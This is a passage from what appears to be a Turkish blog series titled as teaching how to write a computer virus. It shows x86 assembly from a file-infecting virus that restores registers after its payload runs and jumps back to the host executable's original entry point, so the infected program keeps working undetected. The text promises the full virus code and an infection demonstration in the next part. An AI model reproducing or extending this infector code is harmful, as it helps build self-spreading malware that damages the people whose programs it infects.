mov eax, [eax] ; RVA entry point değerini EAX'e atıyoruz
add eax, ebp ; VA entry point değerini hesaplıyoruz
 
; Payload'umuz çalışmadan önceki (EAX hariç) register değerlerini eski hallerine getiriyoruz
pop esp
pop ebp
pop edx
pop ecx
pop edi
pop esi
pop ebx
jmp eax ; Orjinal Address of Entry Point adresine atlıyoruz


En başta değerlerini korumak için stack’e yazdığımız EAX hariç register’ları da orjinal değerlerine getirdikten sonra uygulamayı kendi akışına bırakıyoruz. Tabi dikkat ettiğimiz bir diğer nokta da stack’i bulduğumuz gibi bırakmak. Zira stack yapıları uygulamanın akışı ve parametre barındırma amaçları için kullanıldığından bu yapıların bütünlüğü uygulamanın problemsiz akışı için son derece önemli.

Gelecek bölümde virüs kodumuzun tamamını yayınladıktan, bulaşma örneğini paylaştıktan ve virüs total sonuçlarını paylaştıktan sonra virüs nasıl yazılır makale dizimizi tamamlayacağız.

Kodu okuduktan sonra önceki makalelerde bulanık kalan konular da berraklaşmıştır diye umuyorum.

Sonraki bölümde görüşmek üzere.

<<Önceki Bölüm                                                                                                      Sonraki Bölüm>>